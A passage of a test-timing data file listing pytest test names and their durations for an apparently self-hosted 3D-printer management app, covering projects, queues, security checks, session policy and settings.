"integration/test_projects_api.py::TestSoftDeletedArchivesLeaveTheProject::test_deleted_archive_is_not_a_preview_on_the_project_card": 0.2028360366821289, + "integration/test_projects_api.py::TestSoftDeletedArchivesLeaveTheProject::test_deleted_archive_is_not_in_the_project_timeline": 0.20318740513175726, + "integration/test_projects_api.py::TestSoftDeletedArchivesLeaveTheProject::test_deleted_archive_is_not_listed_on_the_project": 0.20632093586027622, + "integration/test_projects_api.py::TestSoftDeletedArchivesLeaveTheProject::test_project_counts_exclude_the_deleted_archive": 0.20813980791717768, + "integration/test_projects_api.py::TestSoftDeletedArchivesLeaveTheProject::test_project_stats_exclude_the_deleted_archive": 0.20608659833669662, + "integration/test_projects_api.py::TestSoftDeletedArchivesLeaveTheProject::test_unassigning_an_already_orphaned_link_still_works": 0.20828365441411734, + "integration/test_projects_api.py::TestSubProjectRollup::test_a_childless_project_reports_no_roll_up_at_all": 0.2121423091739416, + "integration/test_projects_api.py::TestSubProjectRollup::test_a_cycle_already_in_the_database_does_not_hang_the_roll_up": 0.2174690430983901, + "integration/test_projects_api.py::TestSubProjectRollup::test_a_filtered_listing_still_admits_to_its_hidden_children": 0.20486468821763992, + "integration/test_projects_api.py::TestSubProjectRollup::test_a_master_project_rolls_up_every_sub_project": 0.2156607024371624, + "integration/test_projects_api.py::TestSubProjectRollup::test_a_project_cannot_be_moved_under_its_own_sub_project": 0.20731228403747082, + "integration/test_projects_api.py::TestSubProjectRollup::test_an_unrelated_project_is_still_a_legal_parent": 0.21097063180059195, + "integration/test_projects_api.py::TestSubProjectRollup::test_deleting_a_middle_layer_promotes_its_children": 0.20448030903935432, + "integration/test_projects_api.py::TestSubProjectRollup::test_deleting_a_top_level_project_frees_its_children": 0.21053347177803516, + "integration/test_projects_api.py::TestSubProjectRollup::test_each_listed_child_carries_its_own_branch_total": 0.21082476899027824, + "integration/test_projects_api.py::TestSubProjectRollup::test_roll_up_progress_measures_against_the_summed_targets": 0.2082596207037568, + "integration/test_projects_api.py::TestSubProjectRollup::test_the_grid_can_tell_a_sub_project_from_a_top_level_one": 0.20532449800521135, + "integration/test_projects_api.py::TestSubProjectRollup::test_the_guard_reaches_a_distant_descendant_too": 0.20550921745598316, + "integration/test_projects_api.py::TestSubProjectRollup::test_the_masters_own_stats_still_mean_its_own_prints": 0.21526707336306572, + "integration/test_projects_api.py::TestSubProjectRollup::test_the_roll_up_reaches_past_the_first_generation": 0.21724215615540743, + "integration/test_queue_creation_attribution.py::TestLibraryAddToQueueAttribution::test_auth_disabled_leaves_item_ownerless": 0.20431293360888958, + "integration/test_queue_creation_attribution.py::TestLibraryAddToQueueAttribution::test_credits_the_authenticated_user": 0.23795379605144262, + "integration/test_queue_creation_attribution.py::TestWebhookQueueAddAttribution::test_credits_the_key_owner": 0.2315616849809885, + "integration/test_queue_creation_attribution.py::TestWebhookQueueAddAttribution::test_legacy_ownerless_key_leaves_item_ownerless": 0.22390397358685732, + "integration/test_queue_nozzle_rack_choice_api_1784.py::TestCreate::test_a_pick_posted_on_create_reaches_the_column": 0.20810677390545607, + "integration/test_queue_nozzle_rack_choice_api_1784.py::TestCreate::test_creating_without_one_leaves_the_column_null": 0.22318388428539038, + "integration/test_queue_nozzle_rack_choice_api_1784.py::TestSchemaCoverage::test_create_update_and_response_all_declare_the_field": 0.0014987289905548096, + "integration/test_queue_nozzle_rack_choice_api_1784.py::TestSchemaCoverage::test_the_create_schema_actually_keeps_a_posted_pick": 0.0011950097978115082, + "integration/test_queue_nozzle_rack_choice_api_1784.py::TestUpdate::test_an_unrelated_edit_does_not_disturb_the_pick": 0.23578010220080614, + "integration/test_queue_nozzle_rack_choice_api_1784.py::TestUpdate::test_clearing_the_pick_hands_the_choice_back_to_the_dispatcher": 0.22047640942037106, + "integration/test_queue_nozzle_rack_choice_api_1784.py::TestUpdate::test_editing_an_item_replaces_its_pick": 0.23328010737895966, + "integration/test_queue_start_user_attribution.py::TestSchedulerPropagatesOwnerToPrinterManager::test_noop_when_created_by_id_is_none": 0.2008242355659604, + "integration/test_queue_start_user_attribution.py::TestSchedulerPropagatesOwnerToPrinterManager::test_noop_when_user_row_missing": 0.19669208116829395, + "integration/test_queue_start_user_attribution.py::TestSchedulerPropagatesOwnerToPrinterManager::test_propagates_when_created_by_id_resolves_to_user": 0.20570427179336548, + "integration/test_queue_start_user_attribution.py::TestStartCreditsTheClicker::test_start_preserves_existing_owner": 0.2621424440294504, + "integration/test_queue_start_user_attribution.py::TestStartCreditsTheClicker::test_start_with_auth_disabled_leaves_created_by_id_null": 0.23145795240998268, + "integration/test_queue_start_user_attribution.py::TestStartCreditsTheClicker::test_start_writes_created_by_id_when_unattributed": 0.2606339333578944, + "integration/test_queue_variants_api.py::TestQueueWithVariants::test_assigning_a_printer_is_refused": 0.22524214163422585, + "integration/test_queue_variants_api.py::TestQueueWithVariants::test_creates_one_item_with_a_candidate_per_file": 0.751888994127512, + "integration/test_queue_variants_api.py::TestQueueWithVariants::test_cross_model_gate_applies_to_every_candidate": 0.20582322403788567, + "integration/test_queue_variants_api.py::TestQueueWithVariants::test_deleting_one_candidate_leaves_the_job_and_its_sibling": 0.2303645946085453, + "integration/test_queue_variants_api.py::TestQueueWithVariants::test_narrowing_to_one_model_is_refused": 0.2255962947383523, + "integration/test_queue_variants_api.py::TestQueueWithVariants::test_one_candidate_without_a_printer_is_allowed": 0.2087107254192233, + "integration/test_queue_variants_api.py::TestQueueWithVariants::test_quantity_gives_each_copy_its_own_candidates": 0.22756812069565058, + "integration/test_queue_variants_api.py::TestQueueWithVariants::test_rejected_when_no_candidate_has_a_printer": 0.20490713696926832, + "integration/test_queue_variants_api.py::TestQueueWithVariants::test_rejects_a_file_alongside_the_variants": 0.21261819172650576, + "integration/test_queue_variants_api.py::TestQueueWithVariants::test_rejects_a_specific_printer": 0.21067242231220007, + "integration/test_queue_variants_api.py::TestQueueWithVariants::test_rejects_the_same_file_twice": 0.20083749946206808, + "integration/test_queue_variants_api.py::TestQueueWithVariants::test_rejects_two_candidates_for_the_same_printer": 0.20938960649073124, + "integration/test_queue_variants_api.py::TestQueueWithVariants::test_resending_the_unchanged_model_is_allowed": 0.22832647059112787, + "integration/test_queue_variants_api.py::TestQueueWithVariants::test_the_item_holds_no_file_of_its_own": 0.2160047572106123, + "integration/test_read_permission_backfill_migration.py::TestReadPermissionMigration::test_administrators_backfill_adds_all_six_read_flags": 0.23636539094150066, + "integration/test_read_permission_backfill_migration.py::TestReadPermissionMigration::test_administrators_backfill_adds_legacy_read_flags": 0.21047007385641336, + "integration/test_read_permission_backfill_migration.py::TestReadPermissionMigration::test_administrators_legacy_archives_read_retained": 0.22339976765215397, + "integration/test_read_permission_backfill_migration.py::TestReadPermissionMigration::test_administrators_orca_cloud_auth_backfilled": 0.21759268175810575, + "integration/test_read_permission_backfill_migration.py::TestReadPermissionMigration::test_administrators_printer_sensor_history_read_backfilled": 0.21201332472264767, + "integration/test_read_permission_backfill_migration.py::TestReadPermissionMigration::test_administrators_sync_covers_every_current_permission": 0.21095596253871918, + "integration/test_read_permission_backfill_migration.py::TestReadPermissionMigration::test_administrators_sync_is_additive_only": 0.2105463370680809, + "integration/test_read_permission_backfill_migration.py::TestReadPermissionMigration::test_legacy_archives_read_renamed_to_all_for_administrators": 0.21302039362490177, + "integration/test_read_permission_backfill_migration.py::TestReadPermissionMigration::test_operators_backfill_adds_own_read_flags": 0.22048869170248508, + "integration/test_read_permission_backfill_migration.py::TestReadPermissionMigration::test_operators_legacy_archives_read_renamed_to_own": 0.2094037951901555, + "integration/test_read_permission_backfill_migration.py::TestReadPermissionMigration::test_operators_orca_cloud_auth_backfilled": 0.22162163630127907, + "integration/test_read_permission_backfill_migration.py::TestReadPermissionMigration::test_viewers_do_not_get_orca_cloud_auth": 0.2136011254042387, + "integration/test_scheduler_budget_reservation.py::test_cancel_during_upload_releases_scheduler_reservation": 0.09184633754193783, + "integration/test_scheduler_budget_reservation.py::test_cleanup_session_does_not_rollback_failed_dispatch_status": 0.06660926528275013, + "integration/test_scheduler_budget_reservation.py::test_cost_center_without_budget_is_unlimited_regardless_of_wallet_balance": 0.07651179656386375, + "integration/test_scheduler_budget_reservation.py::test_retried_dispatch_reuses_active_reservation": 0.12485188990831375, + "integration/test_scheduler_budget_reservation.py::test_successful_scheduler_dispatch_keeps_one_active_reservation": 0.10361035633832216, + "integration/test_scheduler_budget_reservation.py::test_upload_failure_releases_scheduler_reservation": 0.08810683898627758, + "integration/test_scheduler_nozzle_rack_dispatch_1784.py::TestAPickThatNoLongerFits::test_the_error_names_the_position_and_says_how_to_fix_it": 0.08115833438932896, + "integration/test_scheduler_nozzle_rack_dispatch_1784.py::TestAPickThatNoLongerFits::test_the_print_is_refused_rather_than_sent_to_another_hotend": 0.08240126352757215, + "integration/test_scheduler_nozzle_rack_dispatch_1784.py::TestAPickThatNoLongerFits::test_the_uploaded_file_is_removed_from_the_sd_card": 0.0815018592402339, + "integration/test_scheduler_nozzle_rack_dispatch_1784.py::TestAPickThatStillFits::test_a_different_pick_of_the_same_plate_sends_a_different_mapping": 0.07757013849914074, + "integration/test_scheduler_nozzle_rack_dispatch_1784.py::TestAPickThatStillFits::test_the_chosen_positions_reach_the_printer": 0.0724640591070056, + "integration/test_scheduler_nozzle_rack_dispatch_1784.py::TestNoPickAtAll::test_an_unassignable_plate_falls_back_instead_of_failing": 0.07781843654811382, + "integration/test_scheduler_nozzle_rack_dispatch_1784.py::TestNoPickAtAll::test_positions_are_assigned_rather_than_left_to_the_firmware": 0.07361675053834915, + "integration/test_scheduler_nozzle_rack_dispatch_1784.py::TestOtherModels::test_a_non_rack_printer_is_left_entirely_alone": 0.07912260945886374, + "integration/test_scheduler_nozzle_rack_dispatch_1784.py::TestOtherModels::test_a_stale_pick_on_a_non_rack_printer_does_not_stop_the_print": 0.08024703804403543, + "integration/test_security.py::TestBackupKeyFiles::test_backup_fails_when_key_file_unreadable": 0.1891589304432273, + "integration/test_security.py::TestBackupKeyFiles::test_backup_includes_mfa_encryption_key_when_present": 0.19620510656386614, + "integration/test_security.py::TestBackupKeyFiles::test_backup_restore_roundtrip_preserves_encrypted_oidc_secret": 1.2073683375492692, + "integration/test_security.py::TestBackupKeyFiles::test_backup_skips_mfa_encryption_key_when_absent": 0.1922512063756585, + "integration/test_security.py::TestBackupKeyFiles::test_restore_aborts_db_swap_when_key_write_fails": 1.2001536348834634, + "integration/test_security.py::TestBackupKeyFiles::test_restore_handles_missing_key_files": 1.2068325439468026, + "integration/test_security.py::TestBackupKeyFiles::test_restore_rejects_absolute_path_in_zip": 0.1973084257915616, + "integration/test_security.py::TestBackupKeyFiles::test_restore_rejects_path_traversal_in_zip": 0.2021006466820836, + "integration/test_security.py::TestBackupKeyFiles::test_restore_rejects_prefix_collision_zipslip": 0.19555507879704237, + "integration/test_security.py::TestBackupKeyFiles::test_restore_resets_encryption_singleton_after_key_replace": 1.202685889787972, + "integration/test_security.py::TestBackupKeyFiles::test_restore_writes_key_files_with_chmod_0600": 1.20135766454041, + "integration/test_security.py::TestChallengeIdCookieBinding::test_pre_auth_token_rejected_without_matching_cookie": 0.24220885336399078, + "integration/test_security.py::TestEmailOTPMaxAttempts::test_email_otp_invalidated_after_max_attempts": 0.3127137888222933, + "integration/test_security.py::TestEncryptLegacyMigration::test_init_db_propagates_unexpected_migration_error": 0.4876274894922972, + "integration/test_security.py::TestEncryptLegacyMigration::test_migration_continues_on_row_error": 0.18548578675836325, + "integration/test_security.py::TestEncryptLegacyMigration::test_migration_encrypts_plaintext_oidc_secret": 0.19480078481137753, + "integration/test_security.py::TestEncryptLegacyMigration::test_migration_encrypts_plaintext_totp_secret": 0.19419782515615225, + "integration/test_security.py::TestEncryptLegacyMigration::test_migration_handles_mixed_state": 0.18414120469242334, + "integration/test_security.py::TestEncryptLegacyMigration::test_migration_logs_count_of_rows_re_encrypted": 0.18585972674190998, + "integration/test_security.py::TestEncryptLegacyMigration::test_migration_logs_no_op_when_all_encrypted": 0.1863739090040326, + "integration/test_security.py::TestEncryptLegacyMigration::test_migration_no_op_when_key_unset": 0.17657357268035412, + "integration/test_security.py::TestEncryptLegacyMigration::test_migration_skips_already_encrypted_rows": 0.18008790723979473, + "integration/test_security.py::TestEncryption::test_auto_generate_fileexistserror_returns_none_corrupted": 0.001019141636788845, + "integration/test_security.py::TestEncryption::test_corrupted_key_file_returns_none_without_overwrite": 0.0010780999436974525, + "integration/test_security.py::TestEncryption::test_decrypt_raises_runtime_error_without_key_for_encrypted_value": 0.0008571567013859749, + "integration/test_security.py::TestEncryption::test_encrypt_decrypt_roundtrip_with_key": 0.002995363436639309, + "integration/test_security.py::TestEncryption::test_get_key_source_reflects_active_source": 0.0008781962096691132, + "integration/test_security.py::TestEncryption::test_invalid_env_key_falls_through_to_file": 0.0011269813403487206, + "integration/test_security.py::TestEncryption::test_load_or_generate_key_creates_file_with_0600": 0.0011951923370361328, + "integration/test_security.py::TestEncryption::test_load_or_generate_key_reads_existing_file": 0.0009018294513225555, + "integration/test_security.py::TestEncryption::test_load_or_generate_key_returns_none_on_read_oserror": 0.0010623922571539879, + "integration/test_security.py::TestEncryption::test_load_or_generate_key_returns_none_on_write_oserror": 0.0010315226390957832, + "integration/test_security.py::TestEncryption::test_load_or_generate_key_uses_env_when_set": 0.0008324505761265755, + "integration/test_security.py::TestEncryption::test_plaintext_passthrough_without_key": 0.0008868221193552017, + "integration/test_security.py::TestEncryptionRoundtrip::test_oidc_provider_secret_encrypted_at_rest_e2e": 0.18835732713341713, + "integration/test_security.py::TestEncryptionRoundtrip::test_totp_secret_encrypted_at_rest_e2e": 0.18410946615040302, + "integration/test_security.py::TestEncryptionStatusEndpoint::test_status_counts_encrypted_rows": 0.22812206950038671, + "integration/test_security.py::TestEncryptionStatusEndpoint::test_status_counts_legacy_rows": 0.2231235895305872, + "integration/test_security.py::TestEncryptionStatusEndpoint::test_status_decryption_broken_when_wrong_key_active": 0.2441645059734583, + "integration/test_security.py::TestEncryptionStatusEndpoint::test_status_decryption_broken_with_only_totp_rows": 0.2230914095416665, + "integration/test_security.py::TestEncryptionStatusEndpoint::test_status_reports_env_source": 0.22803588584065437, + "integration/test_security.py::TestEncryptionStatusEndpoint::test_status_reports_file_source": 0.22182075772434473, + "integration/test_security.py::TestEncryptionStatusEndpoint::test_status_reports_generated_source": 0.22754632961004972, + "integration/test_security.py::TestEncryptionStatusEndpoint::test_status_reports_none_source": 0.22266751527786255, + "integration/test_security.py::TestEncryptionStatusEndpoint::test_status_requires_settings_read_permission": 0.23818787559866905, + "integration/test_security.py::TestEncryptionStatusEndpoint::test_status_returns_403_for_viewer_in_viewers_group": 0.2347819795832038, + "integration/test_security.py::TestEncryptionStatusEndpoint::test_status_returns_503_on_db_error": 0.22161115612834692, + "integration/test_security.py::TestEncryptionStatusEndpoint::test_status_surfaces_real_migration_error_count": 0.22993196174502373, + "integration/test_security.py::TestEncryptionStatusEndpoint::test_status_warns_on_encrypted_rows_without_key": 0.23000169172883034, + "integration/test_security.py::TestJWTRevocation::test_is_token_fresh_accepts_token_after_password_change": 0.0009665098041296005, + "integration/test_security.py::TestJWTRevocation::test_is_token_fresh_rejects_none_iat": 0.00137296412140131, + "integration/test_security.py::TestJWTRevocation::test_is_token_fresh_rejects_token_before_password_change": 0.0010278970003128052, + "integration/test_security.py::TestJWTRevocation::test_is_token_fresh_returns_true_when_no_password_change": 0.0008978256955742836, + "integration/test_security.py::TestJWTRevocation::test_me_endpoint_rejects_token_after_logout": 0.22923599649220705, + "integration/test_security.py::TestJWTRevocation::test_revoke_jti_and_is_jti_revoked": 0.19801175314933062, + "integration/test_security.py::TestJWTRevocation::test_revoke_jti_idempotent": 0.20178823079913855, + "integration/test_security.py::TestLoginRateLimiting::test_excessive_failed_logins_return_429": 0.29354670364409685, + "integration/test_security.py::TestOIDCEmailVerified::test_unverified_email_does_not_link_to_existing_user": 0.3381550535559654, + "integration/test_security.py::TestOIDCExchangeReplay::test_exchange_token_is_single_use": 0.20663597621023655, + "integration/test_security.py::TestOIDCSSRFProtection::test_invalid_authorization_endpoint_scheme_rejected": 0.22145917918533087, + "integration/test_security.py::TestRateLimitBuckets::test_ip_spray_trips_ip_bucket": 0.30087767634540796, + "integration/test_security.py::TestRateLimitBuckets::test_username_spray_trips_username_bucket": 0.2567510074004531, + "integration/test_security.py::TestSecurityHeaders::test_hsts_absent_for_http": 0.1951432265341282, + "integration/test_security.py::TestSecurityHeaders::test_security_headers_present": 0.19458467978984118, + "integration/test_security.py::TestTOTPDecryptionBroken::test_disable_totp_returns_400_when_decryption_broken_and_no_backup_codes": 0.36341616977006197, + "integration/test_security.py::TestTOTPDecryptionBroken::test_disable_totp_succeeds_via_backup_code_when_decryption_broken": 0.28955819737166166, + "integration/test_security.py::TestTOTPDecryptionBroken::test_disable_totp_wrong_code_with_seeded_hashes_at_keyloss_no_counter_debit": 0.2985748592764139, + "integration/test_security.py::TestTOTPDecryptionBroken::test_disable_totp_wrong_code_with_seeded_hashes_returns_400_and_debits_counter": 0.3012882648035884, + "integration/test_security.py::TestTOTPDecryptionBroken::test_enable_totp_returns_500_when_decryption_broken": 0.2331115510314703, + "integration/test_security.py::TestTOTPDecryptionBroken::test_regenerate_backup_codes_returns_400_when_decryption_broken_and_no_backup_codes": 0.24929455295205116, + "integration/test_security.py::TestTOTPDecryptionBroken::test_regenerate_backup_codes_succeeds_via_backup_code_when_decryption_broken": 0.31998846400529146, + "integration/test_security.py::TestTOTPDecryptionBroken::test_regenerate_backup_codes_wrong_code_with_seeded_hashes_returns_400_and_debits_counter": 0.2940229373052716, + "integration/test_security.py::TestTOTPDecryptionBroken::test_setup_totp_returns_500_when_decryption_broken": 0.23487721104174852, + "integration/test_security.py::TestTOTPDecryptionBroken::test_verify_2fa_returns_500_when_decryption_broken": 0.23111140169203281, + "integration/test_security_headers.py::TestParseTrustedFrameOrigins::test_empty_env_returns_empty_tuple": 0.0009119482710957527, + "integration/test_security_headers.py::TestParseTrustedFrameOrigins::test_empty_segment_skipped": 0.00067899189889431, + "integration/test_security_headers.py::TestParseTrustedFrameOrigins::test_missing_host_dropped": 0.0006797639653086662, + "integration/test_security_headers.py::TestParseTrustedFrameOrigins::test_multiple_origins": 0.0007138978689908981, + "integration/test_security_headers.py::TestParseTrustedFrameOrigins::test_non_http_scheme_dropped": 0.0007662959396839142, + "integration/test_security_headers.py::TestParseTrustedFrameOrigins::test_path_dropped": 0.0006640544161200523, + "integration/test_security_headers.py::TestParseTrustedFrameOrigins::test_query_or_fragment_dropped": 0.0007198797538876534, + "integration/test_security_headers.py::TestParseTrustedFrameOrigins::test_root_path_kept": 0.0006736414507031441, + "integration/test_security_headers.py::TestParseTrustedFrameOrigins::test_single_origin": 0.0007697222754359245, + "integration/test_security_headers.py::TestParseTrustedFrameOrigins::test_unset_env_returns_empty_tuple": 0.0006646355614066124, + "integration/test_security_headers.py::TestParseTrustedFrameOrigins::test_whitespace_around_entries_stripped": 0.000684613361954689, + "integration/test_security_headers.py::TestParseTrustedFrameOrigins::test_wildcard_in_host_dropped": 0.0006683226674795151, + "integration/test_security_headers.py::test_default_block_img_src_excludes_https": 0.20024683233350515, + "integration/test_security_headers.py::test_default_headers_strict": 0.18794805090874434, + "integration/test_security_headers.py::test_other_security_headers_unchanged": 0.1997168092057109, + "integration/test_security_headers.py::test_other_spa_routes_still_refuse_all_framing": 0.20468869898468256, + "integration/test_security_headers.py::test_overlay_route_allows_same_origin_framing": 0.19476999808102846, + "integration/test_security_headers.py::test_pwa_bootstrap_routes_accept_head[/manifest.json]": 0.1977318385615945, + "integration/test_security_headers.py::test_pwa_bootstrap_routes_accept_head[/sw-register.js]": 0.1995295276865363, + "integration/test_security_headers.py::test_pwa_bootstrap_routes_accept_head[/sw.js]": 0.19039595872163773, + "integration/test_security_headers.py::test_spa_csp_includes_per_request_script_nonce": 0.19668018724769354, + "integration/test_security_headers.py::test_spa_csp_nonce_changes_per_request": 0.2016618149355054, + "integration/test_security_headers.py::test_trusted_origins_applies_to_docs_branch": 0.19535538461059332, + "integration/test_security_headers.py::test_trusted_origins_relaxes_csp_and_drops_xfo": 0.20425935182720423, + "integration/test_session_policy.py::TestLoginRespectsSessionPolicy::test_login_clamps_above_ceiling": 0.21536565106362104, + "integration/test_session_policy.py::TestLoginRespectsSessionPolicy::test_login_uses_configured_7d_ceiling": 0.22252243384718895, + "integration/test_session_policy.py::TestLoginRespectsSessionPolicy::test_login_uses_default_24h_when_unset": 0.22526667639613152, + "integration/test_session_policy.py::TestResolveSessionMaxMinutes::test_above_ceiling_is_clamped_to_30_days": 0.18141976464539766, + "integration/test_session_policy.py::TestResolveSessionMaxMinutes::test_empty_string_returns_24h_default": 0.18299876246601343, + "integration/test_session_policy.py::TestResolveSessionMaxMinutes::test_missing_row_returns_24h_default": 0.17701892647892237, + "integration/test_session_policy.py::TestResolveSessionMaxMinutes::test_one_hour_minimum": 0.18292294349521399, + "integration/test_session_policy.py::TestResolveSessionMaxMinutes::test_seven_days_passes_through": 0.17960039526224136, + "integration/test_session_policy.py::TestResolveSessionMaxMinutes::test_thirty_days_passes_through": 0.17967274878174067, + "integration/test_session_policy.py::TestResolveSessionMaxMinutes::test_unparseable_value_returns_24h_default": 0.1838934300467372, + "integration/test_session_policy.py::TestResolveSessionMaxMinutes::test_zero_or_negative_returns_24h_default": 0.18192871753126383, + "integration/test_session_policy.py::TestSettingsAPIExposesSessionMaxHours::test_default_is_24": 0.22904957551509142, + "integration/test_session_policy.py::TestSettingsAPIExposesSessionMaxHours::test_update_accepts_valid_value": 0.20103343576192856, + "integration/test_session_policy.py::TestSettingsAPIExposesSessionMaxHours::test_update_rejects_above_ceiling": 0.21109466534107924, + "integration/test_session_policy.py::TestSettingsAPIExposesSessionMaxHours::test_update_rejects_zero": 0.1926662940531969, + "integration/test_settings_api.py::TestOpenInSlicerOverride::test_open_in_slicer_can_be_cleared_to_null": 0.20556162483990192, + "integration/test_settings_api.py::TestOpenInSlicerOverride::test_open_in_slicer_default_is_null": 0.20211489405483007, + "integration/test_settings_api.py::TestOpenInSlicerOverride::test_open_in_slicer_override_persists": 0.2002112055197358, + "integration/test_settings_api.py::TestSettingsAPI::test_a_malformed_temp_alarm_does_not_break_the_response": 0.20211789850145578, + "integration/test_settings_api.py::TestSettingsAPI::test_a_set_temp_alarm_reads_back_as_a_float": 0.19755550660192966, + "integration/test_settings_api.py::TestSettingsAPI::test_camera_view_mode_default": 0.19283592235296965, + "integration/test_settings_api.py::TestSettingsAPI::test_camera_view_mode_persists": 0.20957668963819742, + "integration/test_settings_api.py::TestSettingsAPI::test_default_print_options_defaults": 0.19817087147384882, + "integration/test_settings_api.py::TestSettingsAPI::test_default_print_options_legacy_bool_coerced": 0.1978261759504676, + "integration/test_settings_api.py::TestSettingsAPI::test_default_print_options_partial_update": 0.2054521283134818, + "integration/test_settings_api.py::TestSettingsAPI::test_default_print_options_persist": 0.20593534503132105, + "integration/test_settings_api.py::TestSettingsAPI::test_get_settings": 0.19813091680407524, + "integration/test_settings_api.py::TestSettingsAPI::test_get_settings_has_defaults": 0.19344340078532696, + "integration/test_settings_api.py::TestSettingsAPI::test_ha_settings_can_be_updated_normally_without_env_vars": 0.20553704723715782, + "integration/test_settings_api.py::TestSettingsAPI::test_ha_settings_database_updates_accepted_but_ignored": 0.19957782793790102, + "integration/test_settings_api.py::TestSettingsAPI::test_ha_settings_default_no_env_vars": 0.20398475788533688, + "integration/test_settings_api.py::TestSettingsAPI::test_ha_settings_empty_env_vars_treated_as_not_set": 0.19511936232447624, + "integration/test_settings_api.py::TestSettingsAPI::test_ha_settings_env_vars_override_database": 0.22468851413577795, + "integration/test_settings_api.py::TestSettingsAPI::test_ha_settings_with_both_env_vars": 0.19240988325327635, + "integration/test_settings_api.py::TestSettingsAPI::test_ha_settings_with_only_token_env_var": 0.19525420479476452, + "integration/test_settings_api.py::TestSettingsAPI::test_ha_settings_with_only_url_env_var": 0.19657305534929037, + "integration/test_settings_api.py::TestSettingsAPI::test_mqtt_defaults": 1.8107274631038308, + "integration/test_settings_api.py::TestSettingsAPI::test_mqtt_status_endpoint": 0.19698736257851124, + "integration/test_settings_api.py::TestSettingsAPI::test_per_printer_mapping_expanded_default": 0.20092519465833902, + "integration/test_settings_api.py::TestSettingsAPI::test_per_printer_mapping_expanded_persists": 0.2126320656388998, + "integration/test_settings_api.py::TestSettingsAPI::test_settings_persist_after_update": 0.20610467344522476, + "integration/test_settings_api.py::TestSettingsAPI::test_stagger_settings_defaults": 0.20229873713105917, + "integration/test_settings_api.py::TestSettingsAPI::test_stagger_settings_persist": 0.2070091776549816, + "integration/test_settings_api.py::TestSettingsAPI::test_stagger_settings_validation": 0.20881511084735394, + "integration/test_settings_api.py::TestSettingsAPI::test_temp_alarm_survives_a_set_then_clear_round_trip": 0.21695343498140574, + "integration/test_settings_api.py::TestSettingsAPI::test_unset_temp_alarm_reads_back_as_null": 0.1962291207164526, + "integration/test_settings_api.py::TestSettingsAPI::test_update_ams_thresholds": 0.20255958661437035, + "integration/test_settings_api.py::TestSettingsAPI::test_update_auto_archive": 0.20793768670409918, + "integration/test_settings_api.py::TestSettingsAPI::test_update_camera_view_mode": 0.20389251504093409, + "integration/test_settings_api.py::TestSettingsAPI::test_update_check_printer_firmware": 0.22410142421722412, + "integration/test_settings_api.py::TestSettingsAPI::test_update_currency": 0.20178662799298763, + "integration/test_settings_api.py::TestSettingsAPI::test_update_date_format": 0.21272017993032932, + "integration/test_settings_api.py::TestSettingsAPI::test_update_default_print_options": 0.2040172778069973, + "integration/test_settings_api.py::TestSettingsAPI::test_update_energy_cost": 0.20300758630037308, + "integration/test_settings_api.py::TestSettingsAPI::test_update_filament_cost": 0.2067342009395361, + "integration/test_settings_api.py::TestSettingsAPI::test_update_low_stock_threshold": 0.21358663402497768, + "integration/test_settings_api.py::TestSettingsAPI::test_update_mqtt_settings": 2.209238803014159, + "integration/test_settings_api.py::TestSettingsAPI::test_update_multiple_settings": 0.21204504743218422, + "integration/test_settings_api.py::TestSettingsAPI::test_update_notification_language": 0.194792659021914, + "integration/test_settings_api.py::TestSettingsAPI::test_update_per_printer_mapping_expanded": 0.19655682519078255, + "integration/test_settings_api.py::TestSettingsAPI::test_update_spoolman_settings": 0.20266969315707684, + "integration/test_settings_api.py::TestSettingsAPI::test_update_stagger_settings": 0.20290143694728613, + "integration/test_settings_api.py::TestSettingsAPI::test_update_theme_settings": 0.2022230364382267, + "integration/test_settings_api.py::TestSettingsAPI::test_update_time_format": 0.2033145409077406, + "integration/test_settings_api.py::TestSimplifiedBackupRestore::test_restore_invalid_zip": 0.20023282524198294, + "integration/test_settings_api.py::TestSimplifiedBackupRestore::test_restore_requires_database_in_zip": 0.19829918257892132, + "integration/test_settings_api.py::TestSimplifiedBackupRestore::test_restore_requires_zip_file": 0.19844458531588316, + "integration/test_settings_api_key_scrubbing.py::TestRceEndpointPermissions::test_system_command_accepts_inventory_update": 0.20600350201129913, + "integration/test_settings_api_key_scrubbing.py::TestRceEndpointPermissions::test_trigger_update_accepts_inventory_update": 0.21229649614542723, + "integration/test_settings_api_key_scrubbing.py::TestSettingsScrubForApiKey::test_api_key_header_blanks_sensitive_fields": 0.200994573533535, + "integration/test_settings_api_key_scrubbing.py::TestSettingsScrubForApiKey::test_bearer_api_key_blanks_sensitive_fields": 0.20270326733589172, + "integration/test_settings_api_key_scrubbing.py::TestSettingsScrubForApiKey::test_unauthenticated_request_does_not_blank_fields": 0.19741316139698029, + "integration/test_settings_electricity_price.py::TestCreateAPIKeyWithEnergyScope::test_create_stamps_energy_flag": 0.22895215451717377, + "integration/test_settings_electricity_price.py::TestCreateAPIKeyWithEnergyScope::test_create_without_flag_defaults_off": 0.22696597129106522, + "integration/test_settings_electricity_price.py::TestElectricityPriceEndpoint::test_admin_user_with_settings_update_allowed": 0.22752586100250483, + "integration/test_settings_electricity_price.py::TestElectricityPriceEndpoint::test_api_key_with_flag_updates_price": 0.23419342748820782, + "integration/test_settings_electricity_price.py::TestElectricityPriceEndpoint::test_api_key_without_flag_rejected": 0.22745380457490683, + "integration/test_settings_electricity_price.py::TestElectricityPriceEndpoint::test_negative_price_rejected": 0.2258780738338828, + "integration/test_settings_electricity_price.py::TestElectricityPriceEndpoint::test_unauthenticated_rejected": 0.2149776816368103, + "integration/test_settings_electricity_price.py::TestPatchSettingsStillBlocked::test_patch_settings_still_denied_with_energy_flag": 0.2347145453095436, + "integration/test_settings_ui_preferences.py::TestUiPreferencesEndpoint::test_endpoint_returns_200_without_auth": 0.19624962005764246, + "integration/test_settings_ui_preferences.py::TestUiPreferencesEndpoint::test_response_excludes_sensitive_fields": 0.20035502314567566, + "integration/test_settings_ui_preferences.py::TestUiPreferencesEndpoint::test_returns_expected_field_set": 0.1897667795419693, + "integration/test_settings_ui_preferences.py::TestUiPreferencesEndpoint::test_returns_require_plate_clear": 0.20151938498020172, + "integration/test_sjf_scheduling.py::TestSJFScheduling::test_fifo_ordering_ignores_print_time": 0.1833484908565879, + "integration/test_sjf_scheduling.py::TestSJFScheduling::test_queue_item_has_been_jumped": 0.19582936353981495, + "integration/test_sjf_scheduling.py::TestSJFScheduling::test_queue_item_has_print_time_seconds": 0.18575687427073717, + "integration/test_sjf_scheduling.py::TestSJFScheduling::test_queue_shortest_first_setting": 0.17540059331804514, + "integration/test_sjf_scheduling.py::TestSJFScheduling::test_sjf_null_print_time_goes_last": 0.19290545117110014, + "integration/test_sjf_scheduling.py::TestSJFScheduling::test_sjf_ordering_shorter_jobs_first": 0.18878872599452734, + "integration/test_sjf_scheduling.py::TestSJFScheduling::test_sjf_position_as_tiebreaker": 